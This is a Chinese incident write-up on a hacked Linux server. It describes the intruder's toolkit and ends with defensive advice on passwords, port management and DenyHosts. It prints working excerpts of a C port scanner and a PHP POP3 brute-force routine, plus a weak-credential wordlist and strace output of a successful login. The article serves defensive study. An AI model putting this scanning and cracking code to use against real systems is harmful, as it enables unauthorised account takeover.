求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
  
 
 
     
   
分享到
一次Linux服务器被hack的过程分析
 

作者:admin,发布于2012-8-1

 

引言

最近遇到一个服务器被hack的问题,服务器变成了肉机,不断尝试破解其他机器的帐号。下面我们通过分析黑客在服务器上留下的工具,了解入门的hack方法、学习相应的防范措施。

hack工具

hacker登入一台被入侵的服务器,通常首先使用”w”命令查看登陆者信息、使用”passwd”命令修改当前用户密码,然后通过wget,获取提权和其他hack工具。hacker一般将工具解压到目录名以”.”开头的目录中,达到隐藏的效果,以下是此次问题hacker在服务器上留下的“礼物”:

linux:/tmp/.ssh # ll

总计340

  -rw-r--r-- 1 root root   7289 06-03 13:06 pass_file
  -rwxr-xr-x 1 root root  17274 06-03 13:20 pscan
  -rw-r--r-- 1 root root   6071 06-03 13:10 pscan.c
  -rwxr-xr-x 1 root root 302240 06-03 13:06 screen
  -rw-r--r-- 1 root root   1444 06-03 13:06 sesion.php 

下面我们对以上各工具的作用逐一进行分析。

远程会话管理工具screen

screen主要用于管理多窗口、使进程与原始远程连接脱离。

多窗口管理

有时我们需要执行一些比较耗时的程序,在这些程序运行结束后,我们才能操作终端。假如在耗时程序运行过程中,还想进行其他操作,那就需要另打开远程登陆终端。使用screen,可以避免打开多个登陆终端,下面来看使用screen模拟打开多个窗口的方法。

在执行screen程序前,使用”who”命令可以查到A机器上有两个用户,分别从本地、远程登入:

  linux:/tmp/.ssh > who
  lx :0 2012-06-03 10:59
  lx pts/0 2012-06-03 13:05 (192.168.1.102) 

通过远程pts/0运行screen后,进入一个新的命令操作窗口,并增加了一个远程登入:

  linux:/tmp/.ssh > who
  lx :0 2012-06-03 10:59
  lx pts/0 2012-06-03 13:05 (192.168.1.102)
  lx pts/1 2012-06-03 15:40 

在screen中,我们可以使用”ctrl+a+c”组合键创建新的窗口,使用”ctrl+a+n/p”组合键在窗口间来回切换。这样,当耗时程序被执行时,我们可以新建或切换到其他窗口,进行其他操作。

脱离原始远程连接

通过远程终端执行程序,程序尚未退出的情况下关闭远程连接,那么程序也会跟着中止。这将导致耗时程序尚未完成工作就退出、编辑中尚未保存的文件丢失。使用screen,可以达到进程不随远程连接关闭而退出的目的,这也是screen最主要的功能。

在screen窗口下,我们执行一个程序:

     linux:/tmp/loop > ./endless_loop
  running...

程序执行时,我们将远程登陆终端关闭,在服务器本地开启终端,可以看到远程终端已经关闭:

 linux:/tmp/loop > who
  lx :0 2012-06-03 10:59
  lx pts/0 2012-06-03 20:04 (:0.0) 

再来查之前通过远程拉起的endless_loop进程,可以看到其仍在运行,并且screen为其祖先进程:

linux:/tmp/loop > ps -elf | grep endless | grep -v grep
  0 R lx 4851 4586 99 80 0 - 926 - 20:24 pts/1 00:00:32 ./endless_loop
  linux:/tmp/loop > ps -elf | grep 4586 | grep -v endless | grep -v grep
  0 S lx 4586 4585 0 80 0 - 4193 wait 20:02 pts/1 00:00:00 /bin/bash
  linux:/tmp/loop > ps -elf | grep 4585 | grep -v grep | grep -v 4586
  1 S lx 4585 1 0 80 0 - 1036 - 20:02 ? 00:00:00 ./SCREEN
 www.2cto.com 

关于screen的更详细资料,可以参看这里。

暴力破解帐号

hacker费时费力入侵服务器,当然不会无欲无求,入侵服务器后,hacker要不获取服务器上的资料信息,要不就是将服务器变成肉机,用其破解更多服务器的帐号。暴力破解服务器帐号需要通过某一系统服务,例如pop3、ssh、telnet等,其过程可以分解为两个步骤:

  • 扫描服务器某系统服务的端口(例如pop3使用110端口,ssh使用22端口)
  • 对已开放端口的服务器进行密码破解

端口扫描程序

pscan是一个端口扫描程序,pscan.c是相应的源码。端口扫描功能的实现并不复杂,首先分配socket描述符,用目标ip、端口号填充类型为

sockaddr_in的结构:

connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
  fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
  connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
  connlist[i].addr.sin_family = AF_INET;
  connlist[i].addr.sin_port = htons(atoi(argv[2]));
 然后调用connect函数尝试建立连接:
    ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
  sizeof(struct sockaddr_in));
  if (ret == -1) {
  if (errno == EISCONN) { //端口打开
  fprintf(outfd, "%s\n",
  (char *)inet_ntoa(connlist[i].addr.sin_addr));
  }
  if ((errno != EALREADY) && (errno != EINPROGRESS)) {
  //对端端口为关闭状态
  }
  }
  else{ //端口打开
  fprintf(outfd, "%s\n",
  (char *)inet_ntoa(connlist[i].addr.sin_addr));
  } 

通过判断connect函数的返回值可知对端服务器端口是否开启,将扫描到的开放端口的服务器ip地址写入文件。

密码破解

记录下已开放端口的服务器ip地址后,破解程序将再次与这些ip地址对应的服务器进行连接,尝试用大量用户名/密码组合进行系统服务鉴权。文章开头的sesion.php即是破解pop3帐号用的php脚本,pass_file文件每一列对应一组用户名、密码。

各个系统服务(pop3、telnet、ssh等)使用的鉴权方法不同,破解程序的具体实现方法就各异,相对而言,pop3暴力破解程序的实现比较简单:

function POPa($username, $password, $server) {
  $socket = fsockopen($server, 110); // POP3 port
  if (!$socket) {
           return "cracked";
  }
  $res = fgets($socket, 512); // read +OK
  if (substr(trim($res), 0, 3) != "+OK") {
          return "cracked"; // return the error
  }
  fputs($socket, "USER $username\r\n"); // send user
  $res = fgets($socket, 512); // read +OK
  if (substr(trim($res), 0, 3) != "+OK") {
           return "cracked";
  }
  fputs($socket, "PASS $password\r\n"); // send pass
  $res = fgets($socket, 512); // read +OK
  if (substr(trim($res), 0, 3) != "+OK") {
  return $res;
  }
  $fp = fopen("vuln.txt", "a");
  fwrite($fp, " $server $username $password\r\n");
  }  

首先使用fsockopen函数与对端建立连接,然后向对端发送用户名、密码。若发送密码之后,收到的回应中头三个字符为”+OK”,即表示鉴权成功,相应的用户名、密码为对端pop3服务器的一个帐号。鉴权成功后,我们把对端ip、用户名和密码记录在vuln.txt文件中。

使用strace对以上密码破解程序进行跟踪,从输出结果中,我们能更清晰地了解两台机器间的交互过程:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
  fcntl(3, F_GETFL) = 0x2 (flags O_RDWR)
  fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0
  connect(3, {sa_family=AF_INET, sin_port=htons(110), sin_addr=inet_addr("213.8.54.xx")}, 
16) = -1 EINPROGRESS (Operation now in progress)
  poll([{fd=3, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLOUT}])
  getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
  fcntl(3, F_SETFL, O_RDWR) = 0
  poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
  recvfrom(3, "+OK Microsoft Exchange Server 20"..., 8192, MSG_DONTWAIT, NULL, NULL) = 99
  sendto(3, "USER dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13
  poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
  recvfrom(3, "+OK\r\n", 8192, MSG_DONTWAIT, NULL, NULL) = 5
  sendto(3, "PASS dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13
  poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
  recvfrom(3, "+OK User successfully logged on."..., 8192, MSG_DONTWAIT, NULL, NULL) = 34
  sendto(3, "QUIT\r\n", 6, MSG_DONTWAIT, NULL, 0) = 6 

一点启示

人在江湖漂,难免不中招。为防范hacker入侵,我们可以事先做好哪些工作呢?

设定复杂的密码

我们看下pass_file文件的内容,看hacker尝试用哪些用户名/密码破解服务器帐号:

    ……
  michelle michelle
  nobody nobody
  Administrator 123456
  qwerty qwerty
  backup backup
  info test12345
  shop shop
  sales sales 

可见,密码不能设置得与用户名相同,也不能设为”123456″、”test12345″这类简单的密码。

限制端口开放

hacker大多通过服务器开放的端口进行入侵,这就要求我们对端口进行严格的管理。像telnet这样用的比较少又不安全的服务,大多数服务器都应该将其关闭;像ftp这类服务,可以用到的时候再开启,用后及时关闭。

使用第三方工具阻挡攻击

像以上类型的暴力攻击,成千上万次地使用不同帐号进行鉴权,是否可以设定允许的鉴权尝试次数,超过设定的次数,服务器则将拒绝来访ip的连接?

有一些工具帮我们实现了以上功能,例如DenyHosts这个工具,DenyHosts通过分析sshd进程的日志文件,发现多次失败登陆记录时,会将来访ip记录到/etc/hosts.deny文件,屏蔽来访ip,从而达到阻挡ssh暴力攻击的效果。

小结

本文介绍了hacker常用工具screen的用法,端口扫描程序的实现,暴力破解帐号的入门方法,最后讲了下防范暴力破解的几点防范措施。

变成肉机的服务器7*24h不停地对各个网段扫描、破解帐号,因而中招的几率还是很大的,做好防范措施,不能掉以轻心咯


相关文章

企业架构、TOGAF与ArchiMate概览
架构师之路-如何做好业务建模?
大型网站电商网站架构案例和技术架构的示例
完整的Archimate视点指南(包括示例)
相关文档

数据中台技术架构方法论与实践
适用ArchiMate、EA 和 iSpace进行企业架构建模
Zachman企业架构框架简介
企业架构让SOA落地
相关课程

云平台与微服务架构设计
中台战略、中台建设与数字商业
亿级用户高并发、高可用系统架构
高可用分布式架构设计与实践

 
分享到
 
 
     


iOS应用安全开发
Web安全之SQL注入攻击
APP安全在渗透测试中的应用
初探PHP的SQL注入攻击的技术
从Google备份看“数据安全”
更多...   


WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
注册信息安全专业人员(CISP)
信息安全管理
信息安全问题与防范


中国银行 信息安全技术及深度防御
Web应用安全架构、入侵检测与防护
某财税领域知名IT服务商 Web安全测试
普瑞克斯 web安全设计、测试与优化
北京和利时 性能和安全性测试
SUN中国工程研究院 JSF框架、安全
更多...